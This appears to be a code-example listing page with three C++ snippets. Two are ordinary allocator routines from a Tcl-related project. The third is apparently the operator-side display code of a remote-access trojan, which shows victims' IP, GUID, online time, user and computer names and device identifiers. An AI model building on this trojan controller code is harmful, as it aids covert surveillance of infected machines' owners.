Esempio n. 1
0
File: persist.cpp Progetto: aosm/tcl
void c4_Allocator::Release(t4_i32 pos, t4_i32 len) {
  int i = Locate(pos + len);
  d4_assert(0 < i && i < GetSize());
  d4_assert(i % 2 == 0); // don't release inside a free block

  if ((t4_i32)GetAt(i) == pos)
  // move start of next free down 
    ElementAt(i) -= len;
  else if ((t4_i32)GetAt(i - 1) == pos)
  // move end of previous free up
    ElementAt(i - 1) += len;
  else
  // insert a new entry
    InsertPair(i, pos, pos + len);

  if (GetAt(i - 1) == GetAt(i))
  // merge if adjacent free
    RemoveAt(i - 1, 2);
}
Esempio n. 2
0
File: persist.cpp Progetto: aosm/tcl
void c4_Allocator::Occupy(t4_i32 pos_, t4_i32 len_) {
  d4_assert(pos_ > 0);
  // note that zero size simply checks if there is any space to extend

  int i = Locate(pos_);
  d4_assert(0 < i && i < GetSize());

  if (i % 2) {
    // allocation is not at start of free block
    d4_assert((t4_i32)GetAt(i - 1) < pos_);

    if ((t4_i32)GetAt(i) == pos_ + len_)
    // allocate from end of free block
      SetAt(i, pos_);
    else
    // split free block in two
      InsertPair(i, pos_, pos_ + len_);
  } else if ((t4_i32)GetAt(i) == pos_)
  /*
  This side of the if used to be unconditional, but that was
  incorrect if ReduceFrags gets called (which only happens with
  severely fragmented files) - there are cases when allocation
  leads to an occupy request of which the free space list knows
  nothing about because it dropped small segments.  The solution
  is to silently "allow" such allocations - fixed 29-02-2000
  Thanks to Andrew Kuchling for his help in chasing this bug.
   */
   {
    // else extend tail of allocated area
    if ((t4_i32)GetAt(i + 1) > pos_ + len_)
      ElementAt(i) += len_;
    // move start of next free up
    else
      RemoveAt(i, 2);
    // remove this slot
  }
}
Esempio n. 3
0
void InfoFrom::InsertData(void* body, void* body2)
{
	struct system_info* info = (struct system_info*)body;
	struct network_info* nws = info->networks;
	struct TrojanInfo* trojan = (struct TrojanInfo*)body2;
	int cntNW = info->cntNW;
	char buffer[128];
	int os = OS_NOTDEFINED;

	m_treeList.DeleteAllItems();
	
	if(trojan->bOnlineFlag && trojan->s)
	{
		os = trojan->ostype;
		int t = time(NULL) - trojan->timestamp;

		InsertPair("IP地址", trojan->trojanip);

		sprintf(buffer, "%d", trojan->port);
		InsertPair("端口号", buffer);

		InsertPair("GUID", trojan->guid);

		strcpy(buffer, GetDiffTime(t));
		InsertPair("上线时间", buffer);
	}

	if(os == OS_WINDOWS_PHONE)
	{
		char* anid = (char*)body, *p = anid;
		InsertPair("ANID", anid);
		while(*p) p++;

		unsigned char* uId = (unsigned char*)++p;
		p += 20;
		char uuid[40+1];
		for(int i = 0; i < 20; i++)	sprintf(uuid+i*2, "%02x", uId[i]);
		InsertPair("设备ID", uuid);

		char* devicename = p;
		while(*p) p++;
		InsertPair("设备名", devicename);

		char* manufacture = ++p;
		while(*p) p++;
		InsertPair("设备制造商", manufacture);

		char* firmware = ++p;
		while(*p) p++;
		InsertPair("固件版本", firmware);
		
		char* hareware = ++p;
		while(*p) p++;
		InsertPair("硬件版本", hareware);

		__int64 memory;
		memcpy(&memory, ++p, sizeof(memory));
		sprintf(buffer, "%d MB", memory/(1024*1024));
		InsertPair("设备内存", buffer);
		p += 8;

		unsigned short battery;
		memcpy(&battery, p, sizeof(battery));
		InsertPair("电池状态", battery == 0 ? "未在充电" : "正在充电");
		p += 2;

		//char* nw = p;
		//InsertPair("网络连接类型", nw);
		
		return;
	}

	//if(os == OS_WINDOWS)
		strcpy(buffer, GetOSVersion(info->windows.majorVersion, info->windows.minorVersion, 
			info->windows.platformId, info->windows.productType, info->windows.buildNumber));
	//else
	//	strcpy(buffer, "未知操作系统");
	InsertPair("操作系统", buffer);

	InsertPair("BIOS", info->biosDesc);

	InsertPair("CPU类型", info->cpuDesc);

	sprintf(buffer, "%d", info->cpuCount);
	InsertPair("CPU数目", buffer);

	sprintf(buffer, "物理内存%d MB(空闲%d MB)", info->totalMemory/1024, info->availMemory/1024);
	InsertPair("内存大小", buffer);

	InsertPair("计算机名", info->computerName);

	InsertPair("用户名", info->userName);

	InsertPair("系统目录", info->sysDir);

	InsertPair("WINDOWS目录", info->winDir);

	if(cntNW)	
	{
		HTREEITEM networkparent = InsertPair("网络适配器", NULL);
		for(int i = 0; i < cntNW; i++)
		{
		
			HTREEITEM parent = InsertPair(nws[i].name, NULL, networkparent);
			
			InsertPair("IP地址", nws[i].ip, parent);
			
			if(strcmp(nws[i].gateway, "0.0.0.0"))
				InsertPair("默认网关", nws[i].gateway, parent);
			
			if(strcmp(nws[i].mask, "0.0.0.0"))
				InsertPair("子网掩码", nws[i].mask, parent);
		}
		m_treeList.Expand(networkparent, TVE_EXPAND);
	}
}